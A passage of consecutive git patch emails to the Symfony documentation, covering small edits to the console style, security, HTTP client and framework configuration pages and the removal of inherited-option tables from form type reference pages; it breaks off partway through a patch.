Subject: [PATCH 1306/5766] Minor tweak

---
 console/style.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 5dc5f24fca8..33f1ff59cc5 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -167,7 +167,8 @@ Content Methods
 
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
-    styled according to the Symfony Style Guide.
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as appending rows dynamically.
 
 .. versionadded:: 5.4
 

From 0ae2afaa9862ca5f60bc0e8e35ebb91fad02afa1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 15:58:47 +0200
Subject: [PATCH 1307/5766] Remove the versionadded directives

---
 console/style.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index 34f32ac8ecc..b175a4f4cc7 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -170,10 +170,6 @@ Content Methods
     styled according to the Symfony Style Guide, which allows you to use
     features such as appending rows dynamically.
 
-.. versionadded:: 5.4
-
-    The ``createTable()`` method was introduced in Symfony 5.4.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -262,10 +258,6 @@ Progress Bar Methods
             // ... do some work
         }
 
-.. versionadded:: 5.4
-
-    The ``progressIterate`` method was introduced in Symfony 5.4.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
     styled according to the Symfony Style Guide.

From c5420cf9826f7190fe0d639cb1ef4f5cf4de3345 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sun, 31 Oct 2021 22:35:50 +0100
Subject: [PATCH 1308/5766] Fix Response HTTP constant

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 8d55515b692..86d4e9a6fa0 100644
--- a/security.rst
+++ b/security.rst
@@ -1073,7 +1073,7 @@ token (or whatever you need to return) and return the JSON response:
     +         if (null === $user) {
     +             return $this->json([
     +                 'message' => 'missing credentials',
-    +             ], Response::HTTP_UNAUTHENTICATED);
+    +             ], Response::HTTP_UNAUTHORIZED);
     +         }
     +
     +         $token = ...; // somehow create an API token for $user

From ea6a3e2d546fcbc31063f81b64a9b60ef8925c6d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marek=20Barto=C5=A1?= <bartos.developer152@gmail.com>
Date: Sun, 31 Oct 2021 22:42:06 +0100
Subject: [PATCH 1309/5766] Fix example url

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 8efbd4b3a41..295fe360f6d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1646,7 +1646,7 @@ the response, replace the current request by another one or change the chunk
 passthru itself.
 
 Checking the test cases implemented in
-:class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
+:class:`Symfony\\Component\\HttpClient\\Tests\\AsyncDecoratorTraitTest`
 might be a good start to get various working examples for a better understanding.
 Here are the use cases that it simulates:
 

From 9bc68bf57d59e9c431f1cedd6e507dd0d08acc9f Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 2 Nov 2021 08:41:24 +0100
Subject: [PATCH 1310/5766] Update framework.rst

---
 reference/configuration/framework.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53ed8c79539..f2a0c9b6483 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -37,6 +37,11 @@ used to add more entropy to security related operations. Its value should
 be a series of characters, numbers and symbols chosen randomly and the
 recommended length is around 32 characters.
 
+.. caution::
+
+    This configuration option's value is a real secret. You should treat it
+    with a lot of care.
+
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.

From a4e0dc13ecc5c5666c7657e9c998b3457daf1013 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 11:27:21 +0100
Subject: [PATCH 1311/5766] [Form] Remove repeated options in Form types

---
 reference/forms/types/birthday.rst     | 29 -----------------
 reference/forms/types/button.rst       |  8 -----
 reference/forms/types/checkbox.rst     | 21 -------------
 reference/forms/types/choice.rst       | 38 -----------------------
 reference/forms/types/collection.rst   | 24 --------------
 reference/forms/types/color.rst        | 17 ----------
 reference/forms/types/country.rst      | 32 -------------------
 reference/forms/types/currency.rst     | 30 ------------------
 reference/forms/types/date.rst         | 31 -------------------
 reference/forms/types/dateinterval.rst | 32 -------------------
 reference/forms/types/datetime.rst     | 40 ------------------------
 reference/forms/types/email.rst        | 17 ----------
 reference/forms/types/entity.rst       | 43 --------------------------
 reference/forms/types/file.rst         | 20 ------------
 reference/forms/types/form.rst         | 39 -----------------------
 reference/forms/types/hidden.rst       | 12 -------
 reference/forms/types/integer.rst      | 24 --------------
 reference/forms/types/language.rst     | 32 -------------------
 reference/forms/types/locale.rst       | 31 -------------------
 reference/forms/types/money.rst        | 27 ----------------
 reference/forms/types/number.rst       | 27 ----------------
 reference/forms/types/password.rst     | 20 ------------
 reference/forms/types/percent.rst      | 25 ---------------
 reference/forms/types/radio.rst        | 22 -------------
 reference/forms/types/range.rst        | 16 ----------
 reference/forms/types/repeated.rst     | 21 -------------
 reference/forms/types/reset.rst        |  8 -----
 reference/forms/types/search.rst       | 16 ----------
 reference/forms/types/submit.rst       | 12 -------
 reference/forms/types/tel.rst          | 17 ----------
 reference/forms/types/text.rst         | 20 ------------
 reference/forms/types/textarea.rst     | 17 ----------
 reference/forms/types/time.rst         | 33 --------------------
 reference/forms/types/timezone.rst     | 33 --------------------
 reference/forms/types/url.rst          | 19 ------------
 reference/forms/types/week.rst         | 24 --------------
 36 files changed, 877 deletions(-)

diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 060cc0e8b40..c13932baad4 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -20,35 +20,6 @@ option defaults to 120 years ago to the current year.
 +----------------------+-------------------------------------------------------------------------------+
 | Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
 +----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
 | Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
 +----------------------+-------------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 20ae46ca6d4..c9c893955bb 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -9,14 +9,6 @@ A simple, non-responsive button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` tag                                                       |
 +----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | none                                                                 |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ButtonType` |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..0cd8e579ea3 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -14,27 +14,6 @@ if you want to handle submitted values like "0" or "false").
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``input`` ``checkbox`` field                                           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index a7fad757749..b32ae650a23 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -12,44 +12,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +-------------+------------------------------------------------------------------------------+
 | Rendered as | can be various tags (see below)                                              |
 +-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                                |
 +-------------+------------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..442d42c09bd 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -14,30 +14,6 @@ photos).
 +-------------+-----------------------------------------------------------------------------+
 | Rendered as | depends on the `entry_type`_ option                                         |
 +-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                               |
 +-------------+-----------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index f6e4ec5ba58..742b7d4cb23 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -17,23 +17,6 @@ element.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``color`` field (a text box)                              |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f5281aacff0..744fc8553e1 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -21,38 +21,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..d278ad67101 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -14,36 +14,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 5c5a388bbaf..5ea2e05e908 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -15,37 +15,6 @@ and can understand a number of different input formats via the `input`_ option.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box or three select fields                                      |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index fefa7f054d9..7f2bde8832f 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -17,38 +17,6 @@ or an array (see `input`_).
 +----------------------+----------------------------------------------------------------------------------+
 | Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
 +----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
 +----------------------+----------------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 4d36293894d..bb080d5c032 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -15,46 +15,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box or three select fields                                      |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..e3b4c5c5e00 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -10,23 +10,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``email`` field (a text box)                              |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index cf245c2c275..293b6ba81af 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -12,49 +12,6 @@ objects from the database.
 +-------------+------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)     |
 +-------------+------------------------------------------------------------------+
-| Options     | - `choice_label`_                                                |
-|             | - `class`_                                                       |
-|             | - `em`_                                                          |
-|             | - `query_builder`_                                               |
-+-------------+------------------------------------------------------------------+
-| Overridden  | - `choice_name`_                                                 |
-| options     | - `choice_value`_                                                |
-|             | - `choices`_                                                     |
-|             | - `data_class`_                                                  |
-+-------------+------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`:      |
-| options     |                                                                  |
-|             | - `choice_attr`_                                                 |
-|             | - `choice_translation_domain`_                                   |
-|             | - `expanded`_                                                    |
-|             | - `group_by`_                                                    |
-|             | - `multiple`_                                                    |
-|             | - `placeholder`_                                                 |
-|             | - `preferred_choices`_                                           |
-|             | - `translation_domain`_                                          |
-|             | - `trim`_                                                        |
-|             |                                                                  |
-|             | from the :doc:`FormType </reference/forms/types/form>`:          |
-|             |                                                                  |
-|             | - `attr`_                                                        |
-|             | - `data`_                                                        |
-|             | - `disabled`_                                                    |
-|             | - `empty_data`_                                                  |
-|             | - `error_bubbling`_                                              |
-|             | - `error_mapping`_                                               |
-|             | - `help`_                                                        |
-|             | - `help_attr`_                                                   |
-|             | - `help_html`_                                                   |
-|             | - `label`_                                                       |
-|             | - `label_attr`_                                                  |
-|             | - `label_format`_                                                |
-|             | - `mapped`_                                                      |
-|             | - `required`_                                                    |
-|             | - `row_attr`_                                                    |
-|             | - `label_translation_parameters`_                                |
-|             | - `attr_translation_parameters`_                                 |
-|             | - `help_translation_parameters`_                                 |
-+-------------+------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                |
 +-------------+------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Bridge\\Doctrine\\Form\\Type\\EntityType`       |
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..78ea0362ee2 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -9,26 +9,6 @@ The ``FileType`` represents a file input in your form.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``file`` field                                            |
 +-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 55d0a03a7e5..a9a3fc2a1e2 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,45 +7,6 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
